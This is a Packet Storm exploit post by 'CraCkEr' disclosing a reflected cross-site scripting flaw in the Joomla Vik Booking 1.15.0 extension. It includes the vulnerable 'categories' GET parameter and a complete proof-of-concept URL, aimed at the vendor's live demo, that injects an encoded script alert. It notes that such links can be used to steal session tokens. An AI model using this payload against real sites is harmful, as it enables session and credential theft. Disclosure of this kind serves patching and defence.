Joomla Vik Booking 1.15.0 Cross Site Scripting ≈ Packet Storm

Home^[1] Files^[2] News^[3] &[SERVICES_TAB] Contact^[4] Add New^[5]

Change Mirror^[11] Download^[12]

        ┌┌───────────────────────────────────────────────────────────────────────────────────────┐
││                                     C r a C k E r                                    ┌┘
┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││
└───────────────────────────────────────────────────────────────────────────────────────┘┘
┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘                                      [ Exploits ]                                    ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
:  Author   : CraCkEr                                                                    :
│  Website  : extensions.joomla.org                                                      │
│  Vendor   : e4j Extensions for Joomla - extensionsforjoomla.com                        │
│  Software : Joomla Vik Booking 1.15.0                                                  │
│  Vuln Type: Reflected XSS                                                              │
│  Method   : GET                                                                        │
│  Impact   : Manipulate the content of the site                                         │
│                                                                                        │
│────────────────────────────────────────────────────────────────────────────────────────│
│                              B4nks-NET irc.b4nks.tk #unix                             ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
:                                                                                        :
│  Release Notes:                                                                        │
│  ═════════════                                                                         │
│  The attacker can send to victim a link containing a malicious URL in an email or      │
│  instant message can perform a wide variety of actions, such as stealing the victim's  │
│  session token or login credentials                                                    │
│                                                                                        │
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘                                                                                      ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
Greets:
The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL   
CryptoJob (Twitter) twitter.com/CryptozJob
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘                                    © CraCkEr 2022                                    ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
Path: /index.php/en/booking
GET parameter 'categories' is vulnerable to XSS
https://extensionsforjoomla.com/livedemo/vikbooking/index.php/en/booking?option=com_vikbooking&task=showprc&roomsnum=1&roomopt%5B%5D=9&adults%5B%5D=2&children%5B%5D=1&days=1&checkin=1665057600&checkout=1665136800&category_id=&categories=rnrtm%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ew3vus&Itemid=103
[-] Done

• Follow us on Twitter^[15]
• Subscribe to an RSS Feed^[16]

File Tags

• ActiveX^[17] (932)
• Advisory^[18] (78,346)
• Arbitrary^[19] (15,298)
• BBS^[20] (2,859)
• Bypass^[21] (1,599)
• CGI^[22] (1,013)
• Code Execution^[23] (6,787)
• Conference^[24] (671)
• Cracker^[25] (840)
• CSRF^[26] (3,277)
• DoS^[27] (22,094)
• Encryption^[28] (2,341)
• Exploit^[29] (50,175)
• File Inclusion^[30] (4,160)
• File Upload^[31] (945)
• Firewall^[32] (821)
• Info Disclosure^[33] (2,565)
• Intrusion Detection^[34] (862)
• Java^[35] (2,829)
• JavaScript^[36] (808)
• Kernel^[37] (6,166)
• Local^[38] (14,104)
• Magazine^[39] (586)
• Overflow^[40] (12,254)
• Perl^[41] (1,413)
• PHP^[42] (5,059)
• Proof of Concept^[43] (2,284)
• Protocol^[44] (3,367)
• Python^[45] (1,409)
• Remote^[46] (29,888)
• Root^[47] (3,468)
• Ruby^[48] (581)
• Scanner^[49] (1,631)
• Security Tool^[50] (7,744)
• Shell^[51] (3,079)
• Shellcode^[52] (1,204)
• Sniffer^[53] (884)
• Spoof^[54] (2,123)
• SQL Injection^[55] (16,067)
• TCP^[56] (2,370)
• Trojan^[57] (682)
• UDP^[58] (873)
• Virus^[59] (660)
• Vulnerability^[60] (30,678)
• Web^[61] (9,125)
• Whitepaper^[62] (3,723)
• x86^[63] (944)
• XSS^[64] (17,422)
• Other^[65]

File Archives

• October 2022^[66]
• September 2022^[67]
• August 2022^[68]
• July 2022^[69]
• June 2022^[70]
• May 2022^[71]
• April 2022^[72]
• March 2022^[73]
• February 2022^[74]
• January 2022^[75]
• December 2021^[76]
• November 2021^[77]
• Older^[78]

Systems

• AIX^[79] (426)
• Apple^[80] (1,899)
• BSD^[81] (369)
• CentOS^[82] (55)
• Cisco^[83] (1,915)
• Debian^[84] (5,948)
• Fedora^[85] (1,690)
• FreeBSD^[86] (1,242)
• Gentoo^[87] (4,219)
• HPUX^[88] (878)
• iOS^[89] (323)
• iPhone^[90] (108)
• IRIX^[91] (220)
• Juniper^[92] (67)
• Linux^[93] (42,996)
• Mac OS X^[94] (684)
• Mandriva^[95] (3,105)
• NetBSD^[96] (255)
• OpenBSD^[97] (479)
• RedHat^[98] (12,046)
• Slackware^[99] (941)
• Solaris^[100] (1,607)
• SUSE^[101] (1,444)
• Ubuntu^[102] (8,047)
• UNIX^[103] (9,122)
• UnixWare^[104] (185)
• Windows^[105] (6,477)
• Other^[106]

© 2022 Packet Storm. All rights reserved.